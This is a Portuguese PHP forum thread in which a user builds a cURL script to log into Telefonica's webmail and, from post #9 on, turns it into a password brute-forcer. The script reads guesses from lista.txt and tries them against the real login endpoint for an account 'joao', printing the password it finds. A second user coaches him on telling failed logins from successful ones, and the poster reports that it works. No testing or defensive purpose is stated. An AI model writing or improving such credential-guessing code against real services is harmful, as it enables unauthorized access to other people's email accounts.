Jump to content


Photo

Login Automatico Help


  • Faça o login para participar
12 replies to this topic

#1 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 02/11/2010, 19:36

Olá a todos!

galera eu to tentando fazer um codizinho para logar no webmail da telefonica,
mais não estou tento muito sucesso, passei a tarde nisso e ainda nada

estou tentando fazer desse modo:


<?php
	 
// Inicia o cURL
	$ch = curl_init();
	 
	// Define a URL original (do formulário de login)
	curl_setopt($ch, CURLOPT_URL, 'http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi');
	 
	// Habilita o protocolo POST
	curl_setopt ($ch, CURLOPT_POST, 1);
	 
	// Define os parâmetros que serão enviados (usuário e senha por exemplo)
	curl_setopt ($ch, CURLOPT_POSTFIELDS, 'http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi?	LOGIN=USUARIOOO&_wc=PASSWD=LOGINNN');
	 
	// Imita o comportamento patrão dos navegadores: manipular cookies
	curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
	 
	// Define o tipo de transferência (Padrão: 1)
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	 
	// Executa a requisição
	$store = curl_exec ($ch);
	 
	// Define uma nova URL para ser chamada (após o login)
	curl_setopt($ch, CURLOPT_URL, 'http://webmail.itelefonica.com.br/cgi-bin/webmail.exe');
	 
	// Executa a segunda requisição
	$content = curl_exec ($ch);
	 
	// Encerra o cURL
	curl_close ($ch);
	?>

como posso obter sucesso ?

#2 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 02/11/2010, 20:24

A parte do postfield está errada. É só

LOGIN=USUARIOOO&_wc=PASSWD=LOGINNN

Não é a url toda. E tem um input do tipo hidden. Olha lá. Além do botão. Você precisa enviar tudo tudo. Pra fazer parecer mesmo que é alguém acessando.

#3 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 03/11/2010, 12:03

A parte do postfield está errada. É só

LOGIN=USUARIOOO&_wc=PASSWD=LOGINNN

Não é a url toda. E tem um input do tipo hidden. Olha lá. Além do botão. Você precisa enviar tudo tudo. Pra fazer parecer mesmo que é alguém acessando.



Mesmo assim comparça não da dando certo,
eu não entendo a url não vai encodada será ?

#4 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 03/11/2010, 12:41

Veja que o valor do input hidden muda a cada acesso. Primeiro você precisa acessar a tela inicial, pegar o valor do hidden e aí submeter o login. Mostre como está o seu código.

#5 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 03/11/2010, 16:03

Veja que o valor do input hidden muda a cada acesso. Primeiro você precisa acessar a tela inicial, pegar o valor do hidden e aí submeter o login. Mostre como está o seu código.


cara, achei outro campo de login para entrar no mesmo sistema e deu certo pela string

eu até consegui oque queria, to usando um componente do firefox chamado fireforce que verifica alguns login para entrar,
só que o mesmo trava!

queria fazer algo parecido pelo php

quando a sessão funciona volta true, se não false

não tem como eu enviar uma requisição dessa sem usar o curl, e se o servidor me voltar true eu exibir uma mensagem ?

#6 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 03/11/2010, 16:19

Sem curl até tem, mas com ele é o jeito mais fácil.

#7 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 05/11/2010, 12:39

vou estudar um pouco mais sobre, valeu leoB

Cara, tentei de todas as formas possiveis, e o script não faz o login!

então tentei fazer de outra forma, criei um formulario automatico que faz o login, ai
usei o curl para acessar esse formulario, quando acesso o script já entra no site logado...

só que agora eu queria buscar nessa página de retorno do site logado uma palavra para fazer um verdadeiro ou falso saca ?

porque nesse formulario automatico tá o login correto, então queria que voltasse um echo "LOGIN EFETUADO "

como posso fazer isso ?

script:


 $ch = curl_init();
         
  // Define a URL original (do formulário de login)
 curl_setopt($ch, CURLOPT_URL, 'http://formularioautomati.html');

 $store = curl_exec ($ch);

 curl_close ($ch);
        
?>


desconsidere oque escrevi acima, tanto como formautomatico ou sem da na mesma,
tentei novamente com o curl e percebi que está fazendo o login sim, mais

com a opção

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

depois de logado fica tudo em branco

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 0);

ai loga normalmente porém nao faz o redirecionamento para o google


<?php
// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'PASSWD=SENHA&LOGIN=USUARIO');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1	);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.google.com'); // ESSA LINHA NAO ESTA EXECUTANDO

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch); 

?>



#8 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 05/11/2010, 13:00

Por que você logaria no webmail da telefônica e depois acessaria o google?

#9 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 05/11/2010, 14:37

é só um teste para ver se o funcionava ali kkk,

mais consegui me logar,
nos testes quando o login é errado da até para fazer um replace na saida pois volta na mesma
pagina que esta no curl, agora quando o login é certo redireciona para a inbox ai nao pode mexer em nada

-----

estou tentando fazer desse modo para exiber uma mensagem:


<?php
  $fh = fopen("lista.txt", "r");
  while(!feof($fh)) {
   $curl = curl_init();
   $pass = fgets($fh,1024);
   $data = fread($fh, filesize('lista.txt'));

   curl_setopt($curl, CURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi");
   curl_setopt($curl, CURLOPT_POST, 1);
   curl_setopt($curl, CURLOPT_POSTFIELDS, "PASSWD=$pass&LOGIN=joao");

   curl_exec ($curl);
   curl_close ($curl);
   

  $result = eregi("004", $data);
   if ( $result == 0 ) {
        echo "$pass is the password!";
   break;
  fclose($fh);
  }
 }

?> 

mais não da certo, porque quando o login não bate a página não volta nenhum erro separado,
e agora ?

como não tenho permisão para editar,

ali no lista.txt ele só está carregando o primeiro a lista,
para carregar oque tiver dentro da lista pulano linha por linha
e juntar na string, como posso fazer ?

acho que isso irá resolver o problema pq quando entrar, o link redireciona
ai o script para de executar

#10 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 05/11/2010, 17:05

Você está embolando um pouco as coisas. Usou fgets e fread, tem um eregi perdido ali que não tem nada a ver... Respira fundo e começa de novo. O que você precisa fazer é: manda a requisição, pega a resposta do servidor. Dentro dessa resposta, você vai procurar algum trecho que confirme ou rejeite o login. Se confirmou, fim da história. Se não confirmou, continua no while.

#11 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 06/11/2010, 18:46

Cara, segundo eu tentei aqui, a resposta do servidor me volta 200 mesmo com senha certa ou errada, e agora ?



<?php

   $curl = curl_init(); // inicia
  
   curl_setopt($curl, CURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi");
   curl_setopt($curl, CURLOPT_POSTFIELDS, "PASSWD=teste&LOGIN=joao");
   curl_setopt($curl, CURLOPT_POST, 1);
   curl_exec ($curl); // executa

  $response_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
   
  echo "$response_code"; // exibe a resposta

?> 


#12 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 06/11/2010, 19:28

Não é essa resposta. Você precisa procurar no HTML retornado. Quando você loga pelo navegador, se o login é inválido, ele mostra uma mensagem. É isso que você precisa procurar na resposta.

#13 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 07/11/2010, 10:42

até volta um erro na mesma página dizendo, [004] Usuário desconhecido ou senha incorreta
Por favor, tente novamente.

mais como vou manipular isso ?
eu já vi o comando replace que da para mudar o conteúdo, mais para manipular assim
vou pesquisar

<?php
$ch = curl_init();
// informar URL e outras funções ao CURL
curl_setopt($ch, CURLOPT_URL, "http://www.google.com.br");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);

// acessar URL
$output = curl_exec($ch);

$output = strpos('Google',$output);

if($output == true){
echo "Existe";
}else{
echo "Inexistente";
}

seria mais ou menos isso ?
pq não está funcionando

Perfeito!
era o eregi que tava errado,
deu certo agora...
LeoB obrigado

[]'s




1 user(s) are reading this topic

0 membro(s), 1 visitante(s) e 0 membros anônimo(s)

IPB Skin By Virteq